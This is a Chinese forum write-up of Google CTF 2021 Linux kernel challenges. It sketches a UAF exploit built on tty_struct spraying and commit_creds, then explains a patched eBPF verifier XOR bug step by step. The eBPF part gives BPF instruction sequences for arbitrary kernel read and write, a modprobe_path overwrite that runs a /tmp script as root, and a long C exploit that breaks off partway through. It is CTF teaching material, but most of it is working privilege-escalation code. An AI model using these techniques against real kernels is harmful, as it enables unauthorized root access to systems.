首页
论坛
课程
招聘
[原创]Google CTF 2021 Linux内核部分题目解析
2021-7-23 15:22 4614

[原创]Google CTF 2021 Linux内核部分题目解析

2021-7-23 15:22
4614

Google CTF 2021 / Linux Kernel Exploiting

在本次比赛中,我主要做了 Linux Kernel 方向的漏洞利用,也看了一些别的题,以下是我对题目的一些总结:

  • 题目 fullchain 是由 chrome+mojo+kernel 三部分构成了一个完整的链条,我个人打了kernel部分(很简单的UAF),不过这种出题方式我认为很新颖。
  • 题目 COMPRESSION 是一道涉及压缩的用户态PWN题。
  • 题目 ATHERIS 是一道Fuzz类型的题目,需要利用Google最新的python-fuzz——atheris 进行解题
  • 题目 MEMSAFETY 是一道 Rust+Sandbox 逃逸。(不过我这边没接触过rust,所以没有看这道题)
  • 题目 ABC ARM AND AMD 是一道shellcode编写的题目,要求构造一个可见字符shellcode,同时可以在aarch64和x86-64下达成orw的效果

本次比赛我认为题目质量很高,都是较为新颖的题目形式/考点,或者偏realword一点的题目。

 

目录

Fullchain(kernel part)

Overview

本题的文件系统不能直接调试,需要做一定修改之后才能正常启动。

 

(感谢 @Lime 当时跟我凌晨还在讨论怎么调试这个文件系统)

 

题目给出了一个 ext4 的文件系统的.img。

1
rootfs.img: Linux rev 1.0 ext4 filesystem data, UUID=fa0aa1fe-4545-4f4f-9d0e-aec298407b0c (needs journal recovery) (extents) (64bit) (large files) (huge files)

这种 rootfs.img 不能够直接使用 cpio 工具进行解压,而应该用mount+umount进行 unpack-->change-->pack。

 

具体如下:

1
2
mkdir rootfs
mount -o loop ./rootfs.img ./rootfs # mount到./rootfs目录

在mount到 ./rootfs 之后,你可以进入 ./rootfs 对文件进行修改,而我们的修改可以同步到文件系统中。

1
2
3
root@ubuntu:~/google-CTF/fullchain/fullchain/rootfs# ls
bin   ctf.ko  etc  exp.c  init  lib64       media  opt   root  run_chromium.py  srv  tmp  var
boot  dev     exp  home   lib   lost+found  mnt    proc  run   sbin             sys  usr

修改结束后一定要执行:

1
umount ./rootfs

Umount文件系统,然后再用qemu启动才可以正常调试。如果不进行umount,无法正常的启动内核。

利用思路

本题给了一个裸的UAF,没有任何保护,利用非常简单,思路较为清晰。

 

思路:

  1. 首先构造一个UAF的slab,在内核堆上喷射tty_struct,然后利用喷上来的tty_struct+0x18的指针 leak kernel base。
  2. 利用tty_struct + 0x50处的值leak slab addr。
  3. 然后将fake ops放到当前的slab的tty_struct之后。
  4. 劫持ptmx对应的ioctl函数为 work_for_cpu_fn。
  5. 利用 work_for_cpu_fn 调用 commit_creds(prepare_kernel_cred(0)) 提权即可。

相关文件

我个人的 exp 以及题目的 .c 文件如下:

 

exp.c : https://paste.ubuntu.com/p/yfPFQh2Q7w/

 

ctf.c : https://paste.ubuntu.com/p/f8qjBzt3HM/

eBPF

本题偏realword,主要考察了Linux内核eBPF虚拟机漏洞利用,当时做了半天没做出来,最后由 @2019 师傅出了这道题,我跟着师傅的思路再做复盘。

 

传送门:Google CTF 2021 eBPF

 

首先本题由于是需要基于qemu下进行爆破,所以我基于python编写了一个爆破脚本。

 

script

 

<u>Somthing useful in verifier.c's comments:</u>

 

eBPF 寄存器

 

* All registers are 64-bit.

 

* R0 - return register

 

* R1-R5 argument passing registers

 

* R6-R9 callee saved registers

 

* R10 - frame pointer read-only

 

At the start of BPF program the register R1 contains a pointer to bpf_context and has type PTR_TO_CTX.

 

在eBPF程序的一开始R1类型为 PTR_TO_CTX

 

eBPF寄存器类型

 

Most of the time the registers have SCALAR_VALUE type, which means the register has some value, but it's not a valid pointer.(like pointer plus pointer becomes SCALAR_VALUE type)

 

大多数时间是reg是标量类型而不是指针类型。

 

PTR_TO_MAP_VALUE means that this register is pointing to 'map element value'

 

and the range of [ptr, ptr + map's value_size) is accessible.

 

更多有用的comments的可以看:https://paste.ubuntu.com/p/dHpJr3vp46/

题目内容

bpf_verifier.h.patch

1
2
3
4
5
6
7
8
9
10
--- linux-5.12.2/include/linux/bpf_verifier.h    2021-05-07 03:53:26.000000000 -0700
+++ linux-5.12.2-modified/include/linux/bpf_verifier.h    2021-06-15 20:06:53.019787853 -0700
@@ -156,6 +156,7 @@
     enum bpf_reg_liveness live;
     /* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
     bool precise;
+        bool auth_map;
 };
 
 enum bpf_stack_slot_type {

主要是在 struct bpf_reg_state eBPF寄存器结构体中 加了一个 bool auth_map

 

https://elixir.bootlin.com/linux/v5.12.2/source/include/linux/bpf_verifier.h#L161

verifier.c.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
--- linux-5.12.2/kernel/bpf/verifier.c    2021-05-07 03:53:26.000000000 -0700
+++ linux-5.12.2-modified/kernel/bpf/verifier.c    2021-06-15 20:06:54.495796355 -0700
@@ -2923,6 +2924,7 @@
                    int off, int size, u32 mem_size,
                    bool zero_size_allowed)
 {
+ 
     struct bpf_verifier_state *vstate = env->cur_state;
     struct bpf_func_state *state = vstate->frame[vstate->curframe];
     struct bpf_reg_state *reg = &state->regs[regno];
@@ -6326,13 +6330,19 @@
                 memset(&dst_reg->raw, 0, sizeof(dst_reg->raw));
         }
         break;
-    case BPF_AND:
-    case BPF_OR:
     case BPF_XOR:
-        /* bitwise ops on pointers are troublesome, prohibit. */
-        verbose(env, "R%d bitwise operator %s on pointer prohibited\n",
-            dst, bpf_alu_string[opcode >> 4]);
-        return -EACCES;
+                // As long as we downgrade the result to scalar it is safe.
+                if (dst_reg->type == PTR_TO_MAP_VALUE) {
+                       
  ->type = SCALAR_VALUE;
+                        dst_reg->auth_map = true;
+                        break;
+                }
+        case BPF_AND:
+    case BPF_OR:
+          /* bitwise ops on pointers are troublesome, prohibit. */
+          verbose(env, "R%d bitwise operator %s on pointer prohibited\n",
+              dst, bpf_alu_string[opcode >> 4]);
+          return -EACCES;
     default:
         /* other operators (e.g. MUL,LSH) produce non-pointer results */
         verbose(env, "R%d pointer arithmetic with %s operator prohibited\n",
@@ -7037,6 +7047,13 @@
         scalar_min_max_or(dst_reg, &src_reg);
         break;
     case BPF_XOR:
+                /* Restore the pointer type.*/
+                if (dst_reg->auth_map) {
+                         dst_reg->auth_map = false;
+                         dst_reg->type = PTR_TO_MAP_VALUE;
+                         break;
+                }
+
         dst_reg->var_off = tnum_xor(dst_reg->var_off, src_reg.var_off);
         scalar32_min_max_xor(dst_reg, &src_reg);
         scalar_min_max_xor(dst_reg, &src_reg);

adjust_ptr_min_max_vals 里打了patch

 

https://elixir.bootlin.com/linux/v5.12.2/source/kernel/bpf/verifier.c#L6131

1
2
adjust_reg_min_max_vals()
->    adjust_ptr_min_max_vals()

被patch的函数主要用于处理:对于 指针 与 标量 的算术运算,并计算新的最大最小的var_off。

 

正常的 函数中不允许指针与标量做位运算:

1
2
3
4
5
case BPF_XOR:
    /* bitwise ops on pointers are troublesome, prohibit. */
    verbose(env, "R%d bitwise operator %s on pointer prohibited\n",
        dst, bpf_alu_string[opcode >> 4]);
    return -EACCES;

这里会直接 return -EACCES;

 

并且,在 adjust_reg_min_max_vals 中还指出了:两个指针之间只能做减法运算。

patch流程

主要是在eBPF寄存器中加了一个 auth_map 变量,在处理 adjust_ptr_min_max_vals 时:

 

case BPF_XOR:

  • 如果目标 dst_reg->type == PTR_TO_MAP_VALUE 直接设置 dst_reg->type = SCALAR_VALUE 为标量。然后break。
  • 如果寄存器之前设置了 auth_map 那么置为false,恢复 dst_reg->type = PTR_TO_MAP_VALUE

漏洞点

对于XOR来说,假如我们是:

1
XOR dst_reg, src_reg

且 dst_reg 为 PTR_TO_MAP_VALUE 类型。

 

如果我们将 dst_reg 设置为一个地址,类型为 PTR_TO_MAP_VALUE。

 

经过测试,当这个值类型为PTR_TO_MAP_VALUE时,对这个指针类型的寄存器进行算术运算是有限制的(边界),eBPF-verifier会对其进行一些OOB的检测,以至于在指针类型的寄存器中我们无法构造指向任意地址的指针。

 

而如果我们通过XOR将其降级为一个标量类型,任何的运算都是直接的算术运算而不涉及到地址,进而不会触发verfier在jit过程中的检测。

 

这样我们就可以构造一个指向任意地址的寄存器(当然,此时寄存器被标识为标量类型而非指针类型)。

 

通过这个指向任意地址的寄存器,我们可以就可以在此基础上构造任意内存地址读写的原语

利用过程

Step 1 (构造Vuln Type)

首先我们要到达触发漏洞的地方,首先需要构造类型为 PTR_TO_MAP_VALUE 的寄存器。

 

我们主要关注以下这句话:

  • When the verifier sees a helper call return a reference type, it allocates a pointer id for the reference and stores it in the current function state.Similar to the way that PTR_TO_MAP_VALUE_OR_NULL is converted into PTR_TO_MAP_VALUE

  • .ret_type which is RET_PTR_TO_MAP_VALUE_OR_NULL, so it sets R0->type = PTR_TO_MAP_VALUE_OR_NULL which means bpf_map_lookup_elem() function returns ether pointer to map value or NULL.

  • When type PTR_TO_MAP_VALUE_OR_NULL <u>passes</u> through 'if (reg != 0) goto +off' insn, the register holding that pointer in the true branch <u>changes state to PTR_TO_MAP_VALUE</u> and the same register changes state to CONST_IMM in the false branch.

也就是说 bpf_map_lookup_elem() 会返回一个 PTR_TO_MAP_VALUE_OR_NULL 类型的 BPF_REG_0,如果这个BPF_REG_0 通过了 if 的 check,那么就会将其设置为 PTR_TO_MAP_VALUE

 

这样我们就有机会构造出多个类型为 PTR_TO_MAP_VALUE 的寄存器。

 

首先我们通过:bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);

 

创建一个map。

此map中对应的key的大小为int,value的大小为 0x100,以及有且仅有一对 {key : value}

 

然后构造如下的 BPF insn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 此时我们已经创建好了 expmap ,我们尝试调用 BPF_FUNC_map_lookup_elem 来构造type为 PTR_TO_MAP_VALUE 的寄存器 */
  // r1 为我们创建好的map_fd,会被转换为对应的map地址
  BPF_LD_MAP_FD(BPF_REG_1,expmapfd), 
  BPF_MOV64_IMM(BPF_REG_0, 0),
  // r2 我们需要构造成对应的Key的地址
 
  BPF_ALU64_IMM(BPF_MOV,BPF_REG_6,0),         // r6 = 0
  BPF_STX_MEM(BPF_DW,BPF_REG_10,BPF_REG_6,-8),// *(r10 - 8) = r6  ; r10作为 framepointer 这里相当于给 fp - 8 上放了个 0
  BPF_MOV64_REG(BPF_REG_7,BPF_REG_10),        // r7 = r10         ; r10是 read-only 的 , 我们将r10的值(指向对应的栈帧的地址)赋值给 r7
  BPF_ALU64_IMM(BPF_ADD,BPF_REG_7,-8),        // r7 = r7 - 8      ; 通过写 r7 寄存器 , 定位到我们刚刚放的那个 0 的地址
  BPF_MOV64_REG(BPF_REG_2,BPF_REG_7),         // r2 = r7          ; 将最终构造好的值赋给 r2 ,此时 r2 指向 STACK 上的地址 , *r2 为 0  
 
  BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),    // 调用 BPF_FUNC_map_lookup_elem , 返回值 r0 为lookup到的地址
 
  BPF_JMP_IMM(BPF_JNE,0,0,1),                 // 如果返回为0 ,说明BPF_FUNC_map_lookup_elem failed , 直接 exit 掉   
  BPF_EXIT_INSN(),

使用 bpftools 调试效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0: (18) r1 = map[id:1]
 2: (b7) r0 = 0
 3: (b7) r6 = 0
 4: (7b) *(u64 *)(r10 -8) = r6
 5: (bf) r7 = r10
 6: (07) r7 += -8
 7: (bf) r2 = r7
 
 8: (07) r1 += 272                             # 跳过控制结构,此时 r1 指向map_entry的位置   
 9: (61) r0 = *(u32 *)(r2 + 0)    # 获取r2指向的位置的值为 key
10: (35) if r0 >= 0x1 goto pc+3 # 对 key进行check。因为我们的map只有一项,所以key不能大于等于 1
11: (67) r0 <<= 8                               
12: (0f) r0 += r1                                # 通过r0(key)+r1(ptr)索引到对应的目标地址,作为返回值。
13: (05) goto pc+1
14: (b7) r0 = 0
 
15: (95) exit

可以看到,从0~7,与我们分析的差不多。

 

从8~14则是 BPF_FUNC_map_lookup_elem 具体做的操作。

 

comments中也给出了一个简短的介绍:

1
2
3
4
5
6
7
8
9
10
11
u64 bpf_map_lookup_elem(u64 r1, u64 r2, u64 r3, u64 r4, u64 r5)
 
    {
        struct bpf_map *map = (struct bpf_map *) (unsigned long) r1;
        void *key = (void *) (unsigned long) r2;
        void *value;
 
        here kernel can access 'key' and 'map' pointers safely, knowing that
        [key, key + map->key_size) bytes are valid and were initialized on
        the stack of eBPF program.
    }

需要注意的是,在BPF helper func中,BPF程序需要返回的是value的指针,而用户态发起的bpf()系统调用需要返回的是value的值。

 

当程序成功执行之后,r0的类型为 PTR_TO_MAP_VALUEr0的值为成功查询到的对应的<u>地址</u>

Step 2 (Trigger the Vuln,Leak kernel base)

在这一部分,我们需要利用eBPF虚拟机的漏洞,利用他的指令编写可以任意内存读的原语。

 

此时我们已经有了对应类型的r0,我们通过mov指令,将对应的类型与值也赋值给r1、r2、r3寄存器。

1
2
3
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
  BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),
  BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),

然后使用patch后的XOR函数将他们的类型降级为标量,此时他们的值仍然是对应的地址。

1
2
BPF_ALU64_IMM(BPF_XOR, BPF_REG_2, 0),
  BPF_ALU64_IMM(BPF_XOR, BPF_REG_1, 0),

接下来有一个技巧,我们可以通过看r2的值来确定我们要准备load addr的addr应该是多少

1
2
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x21ef0+0x18),
BPF_STX_MEM(BPF_DW, BPF_REG_3,  BPF_REG_2, 0),        //本句可用于调试,因为此时r3指向map中的那一项的地址,我们将r2的内容放到r3指向的位置,最后再用lookup查找对应的key=0,即可获得此时r2的值。

以下这两句将r2的值放到了map中,我们通过 bpf_lookup_elem(expmapfd,&key,&val) 可以查询到此时r2的值。(方便debug)

 

而实际情况中,在触发了两次漏洞后,没法对同一个再来XOR一次了,也就是说当我们将一个指针降级为标量后,无法再恢复成指针类型了。

 

于是可以采用:

1
2
3
/*  在保证r2数值不变的情况下,通过REG XOR,以BPF_REG_0 为中转,将r1设置为r2的值并且设置r1的类型为指针类型 */
BPF_ALU64_REG(BPF_XOR, BPF_REG_0, BPF_REG_2),
BPF_ALU64_REG(BPF_XOR, BPF_REG_1, BPF_REG_0),

恢复r1的指针类型。

1
2
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_3,  BPF_REG_2, 0),

然后将r1指向地址的值放入r2,最后将r2中保存的全局变量的值放入key=0即可。

 

收尾:

1
2
3
//end
BPF_MOV64_IMM(BPF_REG_0, 0),               // 在非root的情况下必须加这一条,否则会直接挂掉(不知道为啥)
BPF_EXIT_INSN(),

整个这一段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct bpf_insn insns[]={
    /* 此时我们已经创建好了 expmap ,我们尝试调用 BPF_FUNC_map_lookup_elem 来构造type为 PTR_TO_MAP_VALUE 的寄存器 */
    // r1 为我们创建好的map_fd,会被转换为对应的map地址
    BPF_LD_MAP_FD(BPF_REG_1,expmapfd), 
    BPF_MOV64_IMM(BPF_REG_0, 0),
    // r2 我们需要构造成对应的Key的地址
 
    BPF_ALU64_IMM(BPF_MOV,BPF_REG_6,0),         // r6 = 0
    BPF_STX_MEM(BPF_DW,BPF_REG_10,BPF_REG_6,-8),// *(r10 - 8) = r6  ; r10作为 framepointer 这里相当于给 fp - 8 上放了个 0
    BPF_MOV64_REG(BPF_REG_7,BPF_REG_10),        // r7 = r10         ; r10是 read-only 的 , 我们将r10的值(指向对应的栈帧的地址)赋值给 r7
    BPF_ALU64_IMM(BPF_ADD,BPF_REG_7,-8),        // r7 = r7 - 8      ; 通过写 r7 寄存器 , 定位到我们刚刚放的那个 0 的地址
    BPF_MOV64_REG(BPF_REG_2,BPF_REG_7),         // r2 = r7          ; 将最终构造好的值赋给 r2 ,此时 r2 指向 STACK 上的地址 , *r2 为 0  
 
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),    // 调用 BPF_FUNC_map_lookup_elem , 返回值 r0 为lookup到的地址
 
    BPF_JMP_IMM(BPF_JNE,0,0,1),                 // 如果返回为0 ,说明BPF_FUNC_map_lookup_elem failed , 直接 exit 掉   
    BPF_EXIT_INSN(),
 
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),       
 
    /* 接下来将 r1,r2 转换成标量,然后才能通过加上偏移构造出堆上tty_struct 的地址,进而进行读写;而如果以指针的形式直接加会越界会直接被ban掉 */
       BPF_ALU64_IMM(BPF_XOR, BPF_REG_2, 0),
        BPF_ALU64_IMM(BPF_XOR, BPF_REG_1, 0),
 
    /*  我们取到的map addr 相对内核堆上tty_struct的偏移较为固定(但还是需要爆破)  */
    // 0x136f10+0x18+0x1a4857c8             0xffff88801fb6e800 = 0x136f10+0xffff88801fa378f0
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x21ef0+0x18),           //
 
    /*  此时以标量的形式构造出来了一个指向tty_struct的指针r2,但是不能用他直接load内存,因为这时的r2是个标量,我们要将其重新转换到指针的形式 */
    /*  在保证r2数值不变的情况下,通过REG XOR,以BPF_REG_0 为中转,将r1设置为r2的值并且设置r1的类型为指针类型 */
        BPF_ALU64_REG(BPF_XOR, BPF_REG_0, BPF_REG_2),
        BPF_ALU64_REG(BPF_XOR, BPF_REG_1, BPF_REG_0),  
      BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0),
   // 通过call_usermodehelper_setup的第一个参数找到未导出符号的modprobe_path(0xffffffff8284db40
 
    BPF_STX_MEM(BPF_DW, BPF_REG_3,  BPF_REG_2, 0), // 储存r2中保存的tty_struct中全局变量的地址到r3(map_ptr)指向的地址的位置
    //end
    BPF_MOV64_IMM(BPF_REG_0, 0),               // 在非root的情况下必须加这一条,否则会直接挂掉(不知道为啥)
        BPF_EXIT_INSN(),
 
 
};

Step 3 (Overwrite modprobe_path)

在本部分,我们需要通过eBPF-asm构建任意内存写的原语。

 

本题中 modprobe_path 没有导出,在这种情况下,我们可以通过先构造一个 fake_elf,然后在 call_usermodehelper_setup 上打断点。

 

在call_usermodehelper_setup函数调用的过程中,其第一个参数$rdi 就是没导出的全局变量modprobe_path的地址。这样就可以知道不开kaslr下modprobe_path相对kernel base的偏移了。进而计算出真正的modprobe_path的地址。

 

最终构造出的任意内存写的原语如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct bpf_insn insns2[]={
       BPF_LD_MAP_FD(BPF_REG_1,expmapfd2), 
       BPF_MOV64_IMM(BPF_REG_0, 0),
       BPF_ALU64_IMM(BPF_MOV,BPF_REG_6,0),       
       BPF_STX_MEM(BPF_DW,BPF_REG_10,BPF_REG_6,-8),
       BPF_MOV64_REG(BPF_REG_7,BPF_REG_10),
       BPF_ALU64_IMM(BPF_ADD,BPF_REG_7,-8),   
       BPF_MOV64_REG(BPF_REG_2,BPF_REG_7), 
       BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),     
       BPF_JMP_IMM(BPF_JNE,0,0,1),                 
       BPF_EXIT_INSN(),                
         BPF_MOV64_REG(BPF_REG_3, BPF_REG_0), 
       BPF_ALU64_IMM(BPF_XOR, BPF_REG_3, 0),
       BPF_ALU64_IMM(BPF_XOR, BPF_REG_0, 0),
       BPF_MOV64_IMM(BPF_REG_2,0),
       BPF_MOV32_IMM(BPF_REG_2,modprobe_path_high32),
       BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),              // 18: (67) r2 <<= 32
       BPF_ALU64_IMM(BPF_OR, BPF_REG_2, modprobe_path_low32),
       // 这一步结束后r2为modprobe_path,标量
       BPF_MOV64_IMM(BPF_REG_1, 0),
       BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
 
       BPF_ALU64_REG(BPF_XOR, BPF_REG_0, BPF_REG_1),
       BPF_ALU64_IMM(BPF_XOR, BPF_REG_0, 0),
       BPF_ALU64_REG(BPF_XOR, BPF_REG_3, BPF_REG_0),
       BPF_MOV64_IMM(BPF_REG_5, 0),
       BPF_ALU64_IMM(BPF_ADD,BPF_REG_5, overwrite),
 
       BPF_STX_MEM(BPF_DW, BPF_REG_3, BPF_REG_5, 0),
       BPF_MOV64_IMM(BPF_REG_0, 0),
       BPF_EXIT_INSN(),
 
   };

在写的时候我发现了一个问题,对于modprobe_path这块内存,如果最终

1
BPF_ALU64_IMM(BPF_OR, BPF_REG_2, modprobe_path_low32),

将这一句的OR换成ADD,会触发到内核的内存保护。

1
[    3.485700] general protection fault, probably for non-canonical address 0xffffffe8284db40: 0000 [#1] SMP NOPTI

但是如果用 OR , 则可以正常写内存。暂不知道是为什么。

 

最后执行 我们 fake的文件即可。

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#define _GNU_SOURCE
#include <stdio.h>      
#include <stdlib.h>     
#include <unistd.h>     
#include <fcntl.h>      
#include <stdint.h>     
#include <string.h>     
#include <sys/ioctl.h>  
#include <sys/syscall.h>
#include <sys/socket.h> 
#include <errno.h>      
#include <linux/bpf.h>
#include <assert.h>
#include "bpf_insn.h"   
#define BPF_JMP32       0x06    /* jmp mode in word width */
int expmapfd;
int expmapfd2;
int progfd;
int progfd2;
int sockets[2];
#define LOG_BUF_SIZE 65535
char bpf_log_buf[LOG_BUF_SIZE]; //bpf的log信息被存储在这里
void gen_fake_elf(){
    system("echo -ne '#!/bin/sh\nid\n/bin/chmod 777 /flag\n' > /tmp/x");
    system("chmod +x /tmp/x");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
}
void init(){
    setbuf(stdin,0);
    setbuf(stdout,0);
    //setbuf(stderr,0);
    gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){        
    uint64_t *buf64 =  (uint64_t *)buf;      
    printf("[--dump--] start : \n");        
    for(int i=0;i<num;i++){                  
            if(i%2==0 && i!=0){                  
                printf("\n");                    
            }                                    
            printf("0x%016lx ",*(buf64+i));      
        }                                        
    printf("\n[--dump--] end ... \n");      
}                                            
void loglx(char *tag,uint64_t num){        
    printf("[lx] ");                       
    printf(" %-20s ",tag);                 
    printf(": %-#16lx\n",num);             
}                                          
 
static int bpf_prog_load(enum bpf_prog_type prog_type,        
        const struct bpf_insn *insns, int prog_len, 
        const char *license, int kern_version);     
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, 
        int max_entries);                                                
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
 
 
 
static void __exit(char *err) {             
    fprintf(stderr, "[-] error: %s\n", err);
    exit(-1);                           
}                                           
static void writemsg(void) {                                    
    char buffer[64];                                        
    ssize_t n = write(sockets[0], buffer, sizeof(buffer));  
}                                                               
static int bpf_prog_load(enum bpf_prog_type prog_type,         const struct bpf_insn *insns, int prog_len,  const char *license, int kern_version){
 
    union bpf_attr attr = {                                       
        .prog_type = prog_type,                               
        .insns = (uint64_t)insns,                             
        .insn_cnt = prog_len / sizeof(struct bpf_insn),       
        .license = (uint64_t)license,                         
        .log_buf = (uint64_t)bpf_log_buf,                     
        .log_size = LOG_BUF_SIZE,                             
        .log_level = 1,                                       
    };                                                            
    attr.kern_version = kern_version;                             
    bpf_log_buf[0] = 0;        
    printf("[+] bpf load\n");                                  
    return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); 
 
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,  int max_entries){
 
    union bpf_attr attr = {                                        
        .map_type = map_type,                                  
        .key_size = key_size,                                  
        .value_size = value_size,                              
        .max_entries = max_entries                             
    };                                                             
    return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); 
 
}                                               
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
    union bpf_attr attr = {                                             
        .map_fd = fd,                                               
        .key = (uint64_t)key,                                       
        .value = (uint64_t)value,                                   
        .flags = flags,                                             
    };                                                                  
    return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); 
 
}
static int bpf_lookup_elem(int fd,void *key, void *value){
  //新建一个attr,然后赋值对应的信息
    union bpf_attr attr = {                                             
        .map_fd = fd,                                               
        .key = (uint64_t)key,                                       
        .value = (uint64_t)value,                                   
    };                                                                  
    return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); 
}
 
void spray(){
    int ptmx_fd[0x100];
    for(int i=0;i<0x100;i++){
        ptmx_fd[i] =  open("/dev/ptmx",1);
        if(ptmx_fd[i]<=0){printf("[-] Open ptmx failed\n");}
    }
    //printf("[*] Spray tty_struct DONE\n");
}
size_t kernel_base;
size_t kernel_offset;
size_t modprobe_path;
void  leak(){
 
    spray();
    expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
    if(expmapfd<0){ __exit(strerror(errno));}
    //puts("[*] bpf map create SUCCESS !");
    spray();
    printf("[+] expmapfd: %d\n",expmapfd);
 
 
struct bpf_insn insns[]={
    /* 此时我们已经创建好了 expmap ,我们尝试调用 BPF_FUNC_map_lookup_elem 来构造type为 PTR_TO_MAP_VALUE 的寄存器 */
    // r1 为我们创建好的map_fd,会被转换为对应的map地址
    BPF_LD_MAP_FD(BPF_REG_1,expmapfd), 
    BPF_MOV64_IMM(BPF_REG_0, 0),
    // r2 我们需要构造成对应的Key的地址
 
    BPF_ALU64_IMM(BPF_MOV,BPF_REG_6,0),         // r6 = 0
    BPF_STX_MEM(BPF_DW,BPF_REG_10,BPF_REG_6,-8),// *(r10 - 8) = r6  ; r10作为 framepointer 这里相当于给 fp - 8 上放了个 0
    BPF_MOV64_REG(BPF_REG_7,BPF_REG_10),        // r7 = r10         ; r10是 read-only 的 , 我们将r10的值(指向对应的栈帧的地址)赋值给 r7
    BPF_ALU64_IMM(BPF_ADD,BPF_REG_7,-8),        // r7 = r7 - 8      ; 通过写 r7 寄存器 , 定位到我们刚刚放的那个 0 的地址
    BPF_MOV64_REG(BPF_REG_2,BPF_REG_7),         // r2 = r7          ; 将最终构造好的值赋给 r2 ,此时 r2 指向 STACK 上的地址 , *r2 为 0  
 
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),    // 调用 BPF_FUNC_map_lookup_elem , 返回值 r0 为lookup到的地址
 
    BPF_JMP_IMM(BPF_JNE,0,0,1),                 // 如果返回为0 ,说明BPF_FUNC_map_lookup_elem failed , 直接 exit 掉   
    BPF_EXIT_INSN(),
 
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),
    BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),       
 
    /* 接下来将 r1,r2 转换成标量,然后才能通过加上偏移构造出堆上tty_struct 的地址,进而进行读写;而如果以指针的形式直接加会越界会直接挂掉 */
       BPF_ALU64_IMM(BPF_XOR, BPF_REG_2, 0),
    BPF_ALU64_IMM(BPF_XOR, BPF_REG_1, 0),
 
    /*  我们取到的map addr 相对内核堆上tty_struct的偏移较为固定(但还是需要爆破)  */
    // 0x136f10+0x18+0x1a4857c8             0xffff88801fb6e800 = 0x136f10+0xffff88801fa378f0
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0x21ef0+0x18),           //
 
    //BPF_ALU64_IMM(BPF_XOR, BPF_REG_2, 0), 实际情况中在触发了两次漏洞后,没法对同一个再来一次了,也就是说当我们将一个指针降级为标量后,无法再恢复成指针类型了。
    /*  此时以标量的形式构造出来了一个指向tty_struct的指针r2,但是不能用他直接load内存,因为这时的r2是个标量,我们要将其重新转换到指针的形式 */
 
    /*  在保证r2数值不变的情况下,通过REG XOR,以BPF_REG_0 为中转,将r1设置为r2的值并且设置r1的类型为指针类型 */
